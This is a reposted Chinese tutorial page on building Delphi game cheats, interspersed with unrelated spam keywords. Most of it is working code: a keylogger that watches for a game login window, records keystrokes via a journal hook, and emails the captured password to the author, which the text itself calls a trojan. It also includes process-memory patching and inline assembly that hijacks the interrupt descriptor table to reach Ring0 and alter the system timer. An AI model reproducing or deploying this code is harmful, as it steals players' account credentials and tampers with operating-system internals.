b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

delphi外挂制作(转)(2)

电脑杂谈  发布时间:2019-08-29 21:04:04  来源:网络整理

WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);

WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);

end;

MessageBeep(0);

CloseHandle(h);

close;

这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到很多地址。

要做这些外挂的程序实现方式太多(比如HOOK,键盘监视等科技),因为HOOK技术对程序员的技术要求非常高以及在实际应用上应该多带一个动态链接库,所以在文中我会以键盘监视科技来推动这些木马的制作。键盘监视技术只应该一个.exe文件才能实现做到后台键盘监视,这个程序用这些技术来推动相当合适。

在做程序之前我们必须要知道一下程序的模式:

1、我们首先了解你想记录游戏的登录窗口名称。

2、判断登录窗口是否出现。

3、如果登录窗口发生,就记录键盘。

4、当窗口关闭时,把记录信息,通过短信群发到程序设计者的邮件。

第一点我就不准确预测了,因为他们比我需要认识大家玩的是哪个游戏,登录窗口名称是哪个。从第二点开始,我们就起初这类外挂的程序实现之旅:

那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name

LPCTSTR lpWindowName // pointer to window name

);

实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口即将发生,那么我们就可以对键盘信息进行记录了。

迅雷极速版离线破解_万挂作坊4.x破解版_我的世界丛森神殿代码大全手机版

先首我们用SetWindowsHookEx设置监控日志,而该变量的用法如下:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install

HOOKPROC lpfn, // address of hook procedure

HINSTANCE hMod, // handle of application instance

DWORD dwThreadId // identity of thread to install hook for

);

在这里要表明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方式为:

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

而HOOKPROC里的函数还要复杂一点点:

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;

begin

if findedtitle then //如果看到窗口后

begin

if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下

hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的变量,主要用途是转化截获的消息参数为按钮名称。我会在文章尾附上转化函数的)转换消息。

if length(hookkey) > 0 then //如果获得按键名称

begin

Write(hookkeyFile,hookkey); //把按钮名称写入文本文件

hookkey := '';

end;

end;

end;

以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。

我们终于得到了键盘的记录,那么今天最终即使把记录的这种信息发送出去,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读起来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:

assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件

reset(ReadFile); //设为读取方式

try

While not Eof(ReadFile) do //当没有读到文件尾

begin

Readln(ReadFile,s,j); //读取文件行

body:=body+s;

end;

finally

closefile(ReadFile); //关闭文件

end;

nmsmtp1.EncodeType:=uuMime; //设置编码

nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件

nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址

nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址

nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容

nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题

nmsmtp1.SendMail; //发送邮件

以前DOS时代玩过编程的人都会很快想起,这很简单嘛不就是直接修改一下8253寄存器嘛,这在当时DOS时代也许可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不也许,我们可以借助两种方式来推动:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方式是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断设置向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点帮忙,所以我们在这里就用第二种方法实现吧~~~

在实现之前我们来理一下思路吧:

1、我们首先要写一个过程在这个过程里嵌入汇编语言来推动修改IDE表、创建中断门,修改向量等工作

2、调用这个过程来推动加快功能

好了,现在想法有了,我们就边看代码边讲解吧:

首先我们构建一个过程,这个过程就是本程序的核心部分:

procedure SetRing(value:word); stdcall;

const ZDH = $03; // 设一个中断号

var

IDT : array [0..5] of byte; // 保存IDT表

OG : dword; //存放旧向量

begin

asm

push ebx

sidt IDT //读入中断描述符表

mov ebx, dword ptr [IDT+2] //IDT表基地址

add ebx, 8*ZDH //计算中断在中断描述符表中的位置

cli //关中断

mov dx, word ptr [ebx+6]

shl edx, 16d

mov dx, word ptr [ebx]

mov [OG], edx

迅雷极速版离线破解_万挂作坊4.x破解版_我的世界丛森神殿代码大全手机版

mov eax, offset @@Ring0 //指向Ring0级代码段

mov word ptr [ebx], ax //低16位,保存在1,2位

shr eax, 16d

mov word ptr [ebx+6], ax //高16位,保存在6,7位

int ZDH //中断

mov ebx, dword ptr [IDT+2] //重新定位

add ebx, 8*ZDH

mov edx, [OG]

mov word ptr [ebx], dx

shr edx, 16d

mov word ptr [ebx+6], dx //恢复被改了的向量

pop ebx

jmp @@exitasm //到exitasm处

@@Ring0: //Ring0,这个只是最最最核心的东东

mov al,$34 //写入8253控制寄存器

out $43,al

mov ax,value//写入定时值

out $40,al //写定时值低位

mov al,ah

out $40,al //写定时值高位

iretd //返回

@@exitasm:

end;

end;

最核心的东西终于写到了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!

先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又由于值越小越快,反之越慢的原理,所以写了这么一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很高的,呵呵。

在win2000里,我们不也许实现在直接对端口进行操作,Ring0也失了效,有的人都会想起,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能推动的,像我这么的低手是写不出windows所用的驱动WDM的,没办法,我唯有通过外力推动了,ProtTalk就是一个很好的设备驱动,他很方便的来推动对低层端口的操作,从而推动加快外挂。

1、我们首先要下一个PortTalk驱动,他的官方网站是

2、我们要把上面的prottalk.sys拷贝出来。

3、建立一个Protalk.sys的接口(我想省略了,大家可以上下个pas文件自己看吧)

4、实现加速外挂。

本来就篇就是补充篇原理我也不想讲很多了,下面就讲一下这程序的实现方式吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作便于。

1、新建一个工程,把刚才下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。

2、我们在我们新建的项目加入我们的接口文件

uses

windows,ProtTalk……

3、我们建立一个过程

procedure SetRing(value:word);

begin

if not OpenPortTalk then exit;

outportb($43,$34);

outportb($40,lo(Value));

outprotb($40,hi(value));

ClosePortTalk;

end;

4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

别看这是封包这一难题,但是涵盖的科技范围很广范,实现的方法也好多(比如说APIHOOK,VXD,Winsock2都可以实现),在这里我们不也许每种科技和技巧都涉及,所以我在这里以Winsock2技术作具体详解,就算作抛砖引玉。

由于大多数读者对封包类编程不是很知道,我在这里就简单介绍一下相关知识:


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-121012-2.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    热点图片
    拼命载入中...